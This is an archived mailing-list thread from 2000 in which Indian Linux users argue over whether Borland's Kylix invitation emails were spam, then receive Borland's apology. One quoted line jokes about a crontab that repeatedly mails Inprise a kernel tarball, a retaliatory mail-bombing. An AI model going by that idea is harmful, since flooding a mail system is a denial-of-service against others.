typed: >Hmmm, kneejerk reaction, and bad. I regularly receive massmail from many >people that I do *not* consider spam. I don't automatically get their I don't know ... spam is content independent, fwiw. >little more careful. I have on record several messages from you (Suresh) >that has plenty of CCs, but I never complained, did I? In fact I remember Over _two pages_ worth of cc's? -- Suresh Ramasubramanian | sureshr at staff.juno.com Most people wouldn't know music if it came up and bit them on the ass. -- Frank Zappa From linux-india-general-owner@lists.linux-india.org Tue May 16 04:10:46 2000 Received: from nagpur.dot.net.in (nagpur.vsnl.net.in [202.54.50.1]) by www.aunet.org (Postfix) with ESMTP id 47CF2380ED for ; Tue, 16 May 2000 04:10:36 -0700 (PDT) Received: from outsider ([203.197.39.41]) by nagpur.dot.net.in (8.9.3/8.9.3) with SMTP id QAA03161 for ; Tue, 16 May 2000 16:43:41 +0530 (IST) Message-ID: <009301bfbf55$9e7ed1e0$0101a8c0@outsider.sanisoft> Reply-To: "SANIsoft" From: "SANIsoft" To: "Linux India General" Subject: Re: Fwd: Kylix Kickoff Date: Tue, 16 May 2000 16:41:36 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200005/40 We got a massive 512 kb word doc (2 copies - how considerate) , html mails are OK - I even read most of them. I was the one who mailed Suresh to get his account killed Swati ===================================== B2B Application Service Providers http://www.sanisoft.com The Vortal for Nagpur http://nagpurcity.net ===================================== From linux-india-general-owner@lists.linux-india.org Tue May 16 04:29:38 2000 Received: from thinkpad.exocore.com (unknown [213.20.133.90]) by www.aunet.org (Postfix) with ESMTP id BCE2238056 for ; Tue, 16 May 2000 04:29:18 -0700 (PDT) Received: from localhost (achitnis@localhost) by thinkpad.exocore.com (8.9.3/8.8.7) with ESMTP id QAA01739 for ; Tue, 16 May 2000 16:58:19 +0530 Date: Tue, 16 May 2000 16:58:16 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Fwd: Kylix Kickoff In-Reply-To: <20000516161834.A24352@staff.juno.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/41 On Tue, 16 May 2000, Suresh Ramasubramanian wrote: > >little more careful. I have on record several messages from you (Suresh) > >that has plenty of CCs, but I never complained, did I? In fact I remember > > Over _two pages_ worth of cc's? Not two pages full, since you are not a big company. But I have received mail like that from several people on the LI lists in the past. But even if - it does not make him a spammer, it makes him someone who made a mistake and should be told about it. Taking destructive action instantly is misuse of the ability to do so. This has nothing to do with Linux or Borland, so let's take this offline if there are any further comments. Yeah, offline, with lots of CCs.... Atul From linux-india-general-owner@lists.linux-india.org Tue May 16 04:31:34 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id F3A03380C9 for ; Tue, 16 May 2000 04:30:27 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id QAA00584; Tue, 16 May 2000 16:59:38 +0530 From: Raju Mathur Message-ID: <14625.12578.658077.459346@malhaar.internal.palcom.net> Date: Tue, 16 May 2000 16:59:38 +0530 (IST) To: Linux India General Subject: Re: Fwd: Kylix Kickoff In-Reply-To: X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII X-Archive-Number: 200005/42 Hi Atul, When we do talk about the quality of Inprise's products I'll agree or disagree with your completely irrelevant comments. However, /this/ particular discussion was about Inprise's cluefulness, and I reiterate what I said earlier: they don't have a clue about Linux or the community. Ref Swati's mail just now: she received 500KB worth of MS Word documents as attachment from them. Now why did I guess that something like that would have happened? You are welcome to push or use their products as much as you like -- it won't get you branded anything by the community, but it will raise questions (at least in my mind) about the calibration of your clue-o-meter :-) Of course, if you're looking forward to martyrdom in the shape of tarring, feathering and being run out of town on a rail, let me know... the friends who are calling on Biju and Suresh would be glad to oblige for a small fee. *Grinning, ducking and running* Regards, -- Raju >>>>> "Atul" == Atul Chitnis writes: Atul> On Tue, 16 May 2000, Raju Mathur wrote: >> It'd be nice to see some evidence of that. Anyone who wants to >> start off an invitation to Linux people by first getting them >> to sign an NDA sounds like a big-time lamer to me. And I can >> bet the NDA which Udhay referred to was an MS attachment >> (Udhay?). C'mon, now, wasn't it an >> application/x-another-proprietary-ms-format-so-scr*w-you-open-clutzes? >> ;) Atul> Uh, dunno about others, but I received my docs in HTML Atul> format. Want a copy? >> I'll believe they're clued in when they release some open >> source for Linux. Until then they're just another punk company >> wanting to make money off the Linux bandwagon. Atul> Ugh, another one of those flamebaits that cause nothing but Atul> bad blood. Atul> Not being OpenSource does not mean a product is bad. And Atul> being OpenSOurce does not make a product good. Atul> I for one have no objections to using products that work Atul> well, are priced free to reasonable, and are well Atul> supported. M$ products match none of the above, Borland Atul> products do. Atul> But of course by saying this, I immediately become a Linux Atul> outcast, to be tarred and feathered and run out of town on a Atul> rail, because *that* is the Linux way. Atul> (sigh) Atul> Atul From linux-india-general-owner@lists.linux-india.org Tue May 16 04:45:08 2000 Received: from web209.mail.yahoo.com (web209.mail.yahoo.com [128.11.68.109]) by www.aunet.org (Postfix) with SMTP id 04EEE38099 for ; Tue, 16 May 2000 04:45:04 -0700 (PDT) Received: (qmail 28317 invoked by uid 60001); 16 May 2000 11:45:04 -0000 Message-ID: <20000516114504.28316.qmail@web209.mail.yahoo.com> Received: from [202.54.89.133] by web209.mail.yahoo.com; Tue, 16 May 2000 04:45:04 PDT Date: Tue, 16 May 2000 04:45:04 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: Fwd: Kylix Kickoff To: linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/43 --- Atul Chitnis wrote: > I do not think that this was spam. After reading Borland's site, it's pretty obvious that *somebody* screwed up. The mail that Udhay received is pretty typical as a registration confirmation. Being a closed event I think an NDA is pretty reasonable. However, if that mail was the first I heard of the event, I'd assume it was spam too. Whoever registered Udhay without his permission is the guy that ought to be hung, drawn and quartered. Considering the amount of spam that floats around, I'm not surprised by the tough reaction to it. And considering the nature of Suresh's job, I'm not surprised by his, so-called "knee-jerk", reaction to it. In a perfect world, we'd have the time to find out whether each bit of unwanted mail was actually intended as spam or not. Unfortunately, it's not and we don't. We just react in our predictable ways: Me, by deleting and adding to blocked sender's list and Suresh, by getting his account shut down. Maybe that's unfair to some people -- file it under "Sh*t Happens". This particular incident definitely fits in that category. regards, Biju "unlimited supply of 2c" Chacko ===== Biju "Botsie" Chacko "With men and sex when it's right, it's right and when it's wrong, it's right." - Fishism __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Tue May 16 05:07:11 2000 Received: from blr.vsnl.net.in (blr.vsnl.net.in [202.54.12.6]) by www.aunet.org (Postfix) with ESMTP id E00EB38083; Tue, 16 May 2000 05:07:02 -0700 (PDT) Received: from udhay (PPP-177-44.bng.vsnl.net.in [203.197.177.44]) by blr.vsnl.net.in (8.9.3/8.9.3) with ESMTP id RAA20834; Tue, 16 May 2000 17:27:41 +0530 (IST) X-Pgp-Dsskey: 0x55FAB8D3 X-Pgp-Rsakey: 0xCAA67415 Message-Id: <4.2.0.58.20000516171132.00bac210@202.54.12.17> X-Nil: Date: Tue, 16 May 2000 17:17:20 +0530 To: Linux India General From: Udhay Shankar N Subject: Re: Fwd: Kylix Kickoff Cc: linux-india-help@lists.linux-india.org In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Archive-Number: 200005/44 At 03:50 PM 5/16/00 +0530, Atul Chitnis wrote: >Kylix is a product that is not for sale (and wont be for a while), and is >of serious interest to many people. This event is by invitation only, so >what on earth are we talking about? Check >http://www.borland-india.com/kylix/ for more details. > >If the Linux community reacts to stuff like this by getting people's mail >accounts killed because of a long CC list, I am afraid we have lost sight >of our objectives and are painting a rather sordid picture of our views. Hmm. Since I appear to have started this circus, maybe I should weigh in with a further INR 0.02. OTOH...;-) I have no objection to getting mail informing me of stuff I may be interested in, as long as it is not Unsolicited Bulk/Commercial Email. I *was* slightly zapped at being registered for some seminar and being asked to sign an NDA when this was the first I was hearing of the whole thing. If these guys are on the level - which still needs to be shown - then a word of explanation in the beginning would have saved them a lot of hassle. Udhay -- _____________________________________________________________________ http://www.unimobile.com/ http://pobox.com/~udhay Unimobile - the world's first internet mobile Now Live ! From linux-india-general-owner@lists.linux-india.org Tue May 16 08:51:48 2000 Received: from pn3.vsnl.net.in (pn3.vsnl.net.in [202.54.10.18]) by www.aunet.org (Postfix) with ESMTP id 0BDC23813B for ; Tue, 16 May 2000 08:51:30 -0700 (PDT) Received: from pn3.vsnl.net.in (IDENT:madhu@[203.197.83.118]) by pn3.vsnl.net.in (8.9.0/8.9.0) with ESMTP id VAA30945; Tue, 16 May 2000 21:23:37 +0530 (IST) Message-ID: <39216D1C.3E5AD1B3@pn3.vsnl.net.in> Date: Tue, 16 May 2000 21:15:33 +0530 From: Jaidev Karanth X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i586) X-Accept-Language: en MIME-Version: 1.0 To: Suresh Ramasubramanian Cc: linux-india-general@lists.linux-india.org Subject: Re:[OT] Re: [LIH] Fwd: Kylix Kickoff Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/45 FYI, "Computer ..." said Zaphod again, who had been trying to think of some subtle piece of reasoning to put the computer down with, and had decided not to bother competing with it on its own ground, "if you don't open that exit hatch this moment I shall zap straight off to your major data banks and reprogram you with a very large axe, got that?" > Can somebody post that Hitchhikers quote by Zaphod? > > "Computer, if you dont, then I'll reprogram you - with an ax" (very bad > summary) :) > > -- From linux-india-general-owner@lists.linux-india.org Tue May 16 08:53:00 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id BAEF0381A2 for ; Tue, 16 May 2000 08:52:50 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id IAA25526 for ; Tue, 16 May 2000 08:46:08 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUNTFW00.TOY for ; Tue, 16 May 2000 08:52:44 -0700 Message-ID: <39216ECC.F6D17A77@netscape.com> Date: Tue, 16 May 2000 08:52:44 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: Linux India General Subject: Re: Fwd: Kylix Kickoff Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/46 Atul Chitnis proclaimed: > I do not think that this was spam. For the record - I was not spammed. If it /was/ spam, they were smart about targetting the right people. Thaths -- Homer: [yawns] Marge, I'm bored. Marge: Why don't you read something? Homer: Because I'm trying to _reduce_ my boredom. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Tue May 16 08:58:27 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id EFF4B38075 for ; Tue, 16 May 2000 08:58:22 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id IAA04819 for ; Tue, 16 May 2000 08:54:45 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUNTP803.4OH for ; Tue, 16 May 2000 08:58:20 -0700 Message-ID: <3921701C.8788137E@netscape.com> Date: Tue, 16 May 2000 08:58:20 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/47 Raju Mathur proclaimed: > Here's my list of spammer deals: > > - Inprise: gets linux-2.3.99-pre8.tar every 15 minutes as per my > crontab. Can someone also stop GT Enterprises from sending me spam about the latest Linux CDs? I've written polite emails informing them that I don't live in India and that I have a big pipe so don't need CDs. Thaths -- Homer: [yawns] Marge, I'm bored. Marge: Why don't you read something? Homer: Because I'm trying to _reduce_ my boredom. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Tue May 16 22:33:59 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id E1E0A3804F for ; Tue, 16 May 2000 22:33:50 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id LAAAA17801; Wed, 17 May 2000 11:03:36 +0530 (IST) Date: Wed, 17 May 2000 11:03:36 +0530 From: Suresh Ramasubramanian To: Sudhakar Chandra Cc: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Message-ID: <20000517110336.B15472@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3921701C.8788137E@netscape.com>; from thaths@netscape.com on Tue, May 16, 2000 at 08:58:20AM -0700 Organization: Juno Abuse Desk X-Archive-Number: 200005/48 On Tue, May 16, 2000 at 08:58:20AM -0700, Sudhakar Chandra typed: > >Can someone also stop GT Enterprises from sending me spam about the latest >Linux CDs? I've written polite emails informing them that I don't live in >India and that I have a big pipe so don't need CDs. > IIRC, they have an account gtcdrom@vsnl.com subscribed to LIH, to which they post periodic pricelists etc (and even remember to add a commercial tag for each post these days) :) If you are also being contacted offlist despite repeated requests, it is clearly spam, and you have two options -- 1. Block gtcdrom@vsnl.com from the LIH list (pity, as they are Cheapbytes affiliates in India) and put this addy and gtcdrom.com (their domain) in your /etc/mail/deny.db (oh hell, you're running postfix, right - do the equivalent thing in postfix) 2. Mail G.P.Singh who is sysadmin of VSNL, and request him to take action against this account in accordance with VSNL's acceptable use policy (clause 6 of the "General terms and conditions for GIAS subscribers" states "User shall refrain from sending unsolicited messaging") hth -s -- Suresh Ramasubramanian | sureshr at staff.juno.com [Prime Minister Joseph] Chamberlain loves the working man -- he loves to see him work. -- Winston Churchill From linux-india-general-owner@lists.linux-india.org Tue May 16 22:34:07 2000 Received: from web208.mail.yahoo.com (web208.mail.yahoo.com [128.11.68.108]) by www.aunet.org (Postfix) with SMTP id C225338071 for ; Tue, 16 May 2000 22:34:00 -0700 (PDT) Received: (qmail 7627 invoked by uid 60001); 17 May 2000 05:34:00 -0000 Message-ID: <20000517053400.7626.qmail@web208.mail.yahoo.com> Received: from [202.54.89.29] by web208.mail.yahoo.com; Tue, 16 May 2000 22:34:00 PDT Date: Tue, 16 May 2000 22:34:00 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: Re: [LIH] Fwd: Kylix Kickoff To: Sudhakar Chandra , linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/49 --- Sudhakar Chandra wrote: > Can someone also stop GT Enterprises from sending me spam about the > latest > Linux CDs? I've written polite emails informing them that I don't > live in > India and that I have a big pipe so don't need CDs. They removed my name from their mailing list after I sent them one mail asking them to stop. Maybe you should just send another request. Biju ===== Biju "Botsie" Chacko "With men and sex when it's right, it's right and when it's wrong, it's right." - Fishism __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Tue May 16 23:01:11 2000 Received: from web221.mail.yahoo.com (web221.mail.yahoo.com [128.11.68.121]) by www.aunet.org (Postfix) with SMTP id CDF6C38051 for ; Tue, 16 May 2000 23:01:06 -0700 (PDT) Message-ID: <20000517060106.3277.rocketmail@web221.mail.yahoo.com> Received: from [202.54.89.29] by web221.mail.yahoo.com; Tue, 16 May 2000 23:01:06 PDT Date: Tue, 16 May 2000 23:01:06 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: Re: [LIH] Fwd: Kylix Kickoff To: linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/50 --- Suresh Ramasubramanian wrote: > If you are also being contacted offlist despite repeated requests, it > is > clearly spam, and you have two options -- > > 1. Block gtcdrom@vsnl.com from the LIH list (pity, as they are > Cheapbytes > affiliates in India) and put this addy and gtcdrom.com (their domain) > in > your /etc/mail/deny.db (oh hell, you're running postfix, right - do > the > equivalent thing in postfix) > > 2. Mail G.P.Singh who is sysadmin of VSNL, and > request > him to take action against this account in accordance with VSNL's > acceptable use policy Suresh, Don't you think this is overkill? After all, GT is, at least, trying to clean up their act. No more free evaluation CDs on sale, COMMERCIAL tag on their mails. And as I said in my previous mail -- they did stop sending me mail after I asked them to stop. Since these are people we are aquainted with, maybe the nice mail, nasty mail, block sequence ought to be followed. After all these guys aren't anonymous so you can contact them directly. Biju ===== Biju "Botsie" Chacko "With men and sex when it's right, it's right and when it's wrong, it's right." - Fishism __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Tue May 16 23:30:48 2000 Received: from thinkpad.exocore.com (unknown [213.20.130.166]) by www.aunet.org (Postfix) with ESMTP id ED86538051 for ; Tue, 16 May 2000 23:30:41 -0700 (PDT) Received: from localhost (achitnis@localhost) by thinkpad.exocore.com (8.9.3/8.8.7) with ESMTP id MAA01047 for ; Wed, 17 May 2000 12:00:19 +0530 Date: Wed, 17 May 2000 12:00:19 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Kylix Kickoff (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/51 All: I wrote to Jag Sury at Borland/Inprise and asked for an explanation. His answer is attached below. This seems to have been a genuine mistake/oversight, and 50 or less does not constitute spam in my book. I'd let it rest at this - if you guys want to continue to whack them over the knuckles because it makes you feel good, feel free to get in touch with them. Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- ---------- Forwarded message ---------- Date: Wed, 17 May 2000 11:49:58 +1000 From: Jag Sury To: Atul Chitnis Subject: Re: Kylix Kickoff Dear Atul, Are you back in India? Thank you very much for your Email and I can understand your anguish over what has happened. We have sent Email blasts to may be 50 or less people whose email addresses were obtained from the Linux User groups operating in India. The attachments were in MS Word, may be this was an oversight. We could have sent it as a HTML Document. I sincerely apologize for what has happened and I am prepared to convey these feelings to all those who have received our communication. As far as the attachments are concerned, they were the invitation and the NDA and it was sent with the Email. I am sure you understand our intentions to let as many Linux interested people in India as possible and not limiting to Bangalore. I believe that this is one of series of events that will happen with our support to Linux. Could you please review and advise the next course of action. Thank you once again for your initiative to remedy the sitiuation. Best regards, Jagadish Sury Atul Chitnis wrote: > Jag: > > There is a bit of unpleasantness in the air which I want to clear as > quickly as possible before it gets out of control: > > Apparently you or your office send unsolicited 500 KB mail attachments to > dozens (possibly hundreds) of people who were *not* part of your original > invitation, and who could not possibly have attended the Bangalore event > (for example people in Nagpur, Delhi, etc.). Worse - the documents were in > the Microsoft DOC format which cannot be read under Linux. > > The Linux community in India seems to be in an uproar over this, and I am > seeing a fair bit of ugliness rearing its head. > > I'd appreciate an explanation from you so that we can try and quieten this > down without too much further damage. > > Regards, > > Atul Chitnis > > -------------------------------------------------------- > Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) > Exocore Consulting | http://www.exocore.com > Bangalore, India | +91(80)3440397 Fax +91(80)3341137 > -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Tue May 16 23:39:08 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id F2E4138087 for ; Tue, 16 May 2000 23:38:59 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id MAAAA25683; Wed, 17 May 2000 12:08:27 +0530 (IST) Date: Wed, 17 May 2000 12:08:27 +0530 From: Suresh Ramasubramanian To: botsie@mail.com Cc: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Message-ID: <20000517120827.B23558@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000517060106.3277.rocketmail@web221.mail.yahoo.com>; from biju_chacko@yahoo.com on Tue, May 16, 2000 at 11:01:06PM -0700 Organization: Juno Abuse Desk X-Archive-Number: 200005/52 On Tue, May 16, 2000 at 11:01:06PM -0700, Biju Chacko typed: >Don't you think this is overkill? After all, GT is, at least, trying to >clean up their act. No more free evaluation CDs on sale, COMMERCIAL tag >on their mails. And as I said in my previous mail -- they did stop >sending me mail after I asked them to stop. I agree - 100%. Read my previous post -- (and note the part about "repeated requests". suresh wrote: >> If you are also being contacted offlist despite repeated requests, it >> is >> clearly spam, and you have two options -- I am not an anti e-commerce net nazi :) However, if GT Enterprises adds junta randomly to their mailing list (that's pretty bad), and doesn't unsubscribe them when requested (that's worse) then they deserve all they get. >Since these are people we are aquainted with, maybe the nice mail, >nasty mail, block sequence ought to be followed. After all these guys Thaths has already gone thru the nice mail stage several times. Now, he can either send them a nasty mail, or block them, or both. I sincerely hope it doesn't come to such a point ... -- Suresh Ramasubramanian | sureshr at staff.juno.com Any clod can have the facts, but having an opinion is an art. -- Charles McCabe From linux-india-general-owner@lists.linux-india.org Tue May 16 23:43:51 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 082CA3809D for ; Tue, 16 May 2000 23:43:45 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id MAAAA26076; Wed, 17 May 2000 12:13:13 +0530 (IST) Date: Wed, 17 May 2000 12:13:13 +0530 From: Suresh Ramasubramanian To: Atul Chitnis Cc: Linux India General Subject: Re: Re: Kylix Kickoff (fwd) Message-ID: <20000517121313.C23558@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from achitnis@exocore.com on Wed, May 17, 2000 at 12:00:19PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/53 On Wed, May 17, 2000 at 12:00:19PM +0530, Atul Chitnis typed: >I wrote to Jag Sury at Borland/Inprise and asked for an explanation. His >answer is attached below. > >This seems to have been a genuine mistake/oversight, and 50 or less does >not constitute spam in my book. Agreed :) Thread closed from my side, folks :) >I'd let it rest at this - if you guys want to continue to whack them over >the knuckles because it makes you feel good, feel free to get in touch >with them. Like Don Corleone said - "It's not pleasure, it's business". I don't intend to keep ranting on this topic/ IMHO, this sort of situation is better dealt with using good old snail mail (and it also adds a personal touch, plus less painful than downloading huge attachments) :) Also, (a random aside) Star Office / Corel Word Perfect etc on linux _can_ read word docs :) -- Suresh Ramasubramanian | sureshr at staff.juno.com Any clod can have the facts, but having an opinion is an art. -- Charles McCabe From linux-india-general-owner@lists.linux-india.org Wed May 17 00:20:58 2000 Received: from scribe.pobox.com (scribe.pobox.com [208.210.124.35]) by www.aunet.org (Postfix) with ESMTP id D7C633805A for ; Wed, 17 May 2000 00:20:54 -0700 (PDT) Received: from udhay (unknown [210.214.44.131]) by scribe.pobox.com (Postfix) with ESMTP id 7D63032589 for ; Wed, 17 May 2000 03:20:35 -0400 (EDT) X-Pgp-Dsskey: 0x55FAB8D3 X-Pgp-Rsakey: 0xCAA67415 Message-Id: <4.2.0.58.20000517124455.0099cb00@202.54.12.17> X-Nil: Date: Wed, 17 May 2000 12:46:27 +0530 To: Linux India General From: Udhay Shankar N Subject: Re: Re: Kylix Kickoff (fwd) In-Reply-To: <20000517121313.C23558@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Archive-Number: 200005/54 Food for thought: http://www.salon.com/tech/feature/2000/04/21/company_spam/index.html Udhay -- _____________________________________________________________________ http://www.unimobile.com/ http://pobox.com/~udhay Unimobile - the world's first internet mobile From linux-india-general-owner@lists.linux-india.org Wed May 17 01:23:39 2000 Received: from nagpur.dot.net.in (nagpur.vsnl.net.in [202.54.50.1]) by www.aunet.org (Postfix) with ESMTP id 890DB3804E for ; Wed, 17 May 2000 01:23:28 -0700 (PDT) Received: from outsider ([203.197.39.40]) by nagpur.dot.net.in (8.9.3/8.9.3) with SMTP id NAA15650 for ; Wed, 17 May 2000 13:56:11 +0530 (IST) Message-ID: <015001bfc007$641eafe0$0101a8c0@outsider.sanisoft> Reply-To: "SANIsoft" From: "SANIsoft" To: "Linux India General" Subject: Re: Re: Kylix Kickoff (fwd) Date: Wed, 17 May 2000 13:53:53 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200005/55 Peace! but I am surprised at their ignorance 500Kb attachments to anyone without warning is bad manners ... .... What really bugged me was getting 2 copies in the same account which POP locked my DOT account Swati ===================================== B2B Application Service Providers http://www.sanisoft.com The Vortal for Nagpur http://nagpurcity.net ===================================== -----Original Message----- From: Atul Chitnis To: Linux India General Date: Wednesday, May 17, 2000 6:35 AM Subject: [LIG] Re: Kylix Kickoff (fwd) >All: > >I wrote to Jag Sury at Borland/Inprise and asked for an explanation. His >answer is attached below. > >This seems to have been a genuine mistake/oversight, and 50 or less does >not constitute spam in my book. > >I'd let it rest at this - if you guys want to continue to whack them over >the knuckles because it makes you feel good, feel free to get in touch >with them. > >Atul > >-------------------------------------------------------- >Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) >Exocore Consulting | http://www.exocore.com >Bangalore, India | +91(80)3440397 Fax +91(80)3341137 >-------------------------------------------------------- > >---------- Forwarded message ---------- >Date: Wed, 17 May 2000 11:49:58 +1000 >From: Jag Sury >To: Atul Chitnis >Subject: Re: Kylix Kickoff > >Dear Atul, > >Are you back in India? > >Thank you very much for your Email and I can understand your anguish over what >has happened. > >We have sent Email blasts to may be 50 or less people whose email addresses >were obtained from the Linux User groups operating in India. The attachments >were in MS Word, may be this was an oversight. We could have sent it as a >HTML Document. I sincerely apologize for what has happened and I am prepared >to convey these feelings to all those who have received our communication. As >far as the attachments are concerned, they were the invitation and the NDA and >it was sent with the Email. > >I am sure you understand our intentions to let as many Linux interested people >in India as possible and not limiting to Bangalore. I believe that this is one >of series of events that will happen with our support to Linux. Could you >please review and advise the next course of action. > >Thank you once again for your initiative to remedy the sitiuation. > >Best regards, > >Jagadish Sury > >Atul Chitnis wrote: > >> Jag: >> >> There is a bit of unpleasantness in the air which I want to clear as >> quickly as possible before it gets out of control: >> >> Apparently you or your office send unsolicited 500 KB mail attachments to >> dozens (possibly hundreds) of people who were *not* part of your original >> invitation, and who could not possibly have attended the Bangalore event >> (for example people in Nagpur, Delhi, etc.). Worse - the documents were in >> the Microsoft DOC format which cannot be read under Linux. >> >> The Linux community in India seems to be in an uproar over this, and I am >> seeing a fair bit of ugliness rearing its head. >> >> I'd appreciate an explanation from you so that we can try and quieten this >> down without too much further damage. >> >> Regards, >> >> Atul Chitnis >> >> -------------------------------------------------------- >> Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) >> Exocore Consulting | http://www.exocore.com >> Bangalore, India | +91(80)3440397 Fax +91(80)3341137 >> -------------------------------------------------------- > > > >----------------------------------------------------------------------- >The LIG mailing list archives are available at: >http://lists.linux-india.org/cgi-bin/wilma/linux-india-general > From linux-india-general-owner@lists.linux-india.org Wed May 17 04:04:21 2000 Received: from thinkpad.exocore.com (unknown [213.20.130.70]) by www.aunet.org (Postfix) with ESMTP id 6A8313804F for ; Wed, 17 May 2000 04:04:11 -0700 (PDT) Received: from localhost (achitnis@localhost) by thinkpad.exocore.com (8.9.3/8.8.7) with ESMTP id QAA00902; Wed, 17 May 2000 16:33:45 +0530 Date: Wed, 17 May 2000 16:33:45 +0530 (IST) From: Atul Chitnis To: Suresh Ramasubramanian Cc: Linux India General Subject: Re: Re: Kylix Kickoff (fwd) In-Reply-To: <20000517121313.C23558@staff.juno.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/56 On Wed, 17 May 2000, Suresh Ramasubramanian wrote: > Also, (a random aside) Star Office / Corel Word Perfect etc on linux _can_ > read word docs :) Thanks - I was hoping someone would say that! ;-) Unfortunately, StarOffice, Corel, etc do not qualify as usable software because they fail the OpenSource test, and therefore no "real" Linux user would be using them. ;-) Atul From linux-india-general-owner@lists.linux-india.org Wed May 17 04:13:41 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 0C06E380B2 for ; Wed, 17 May 2000 04:13:33 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id 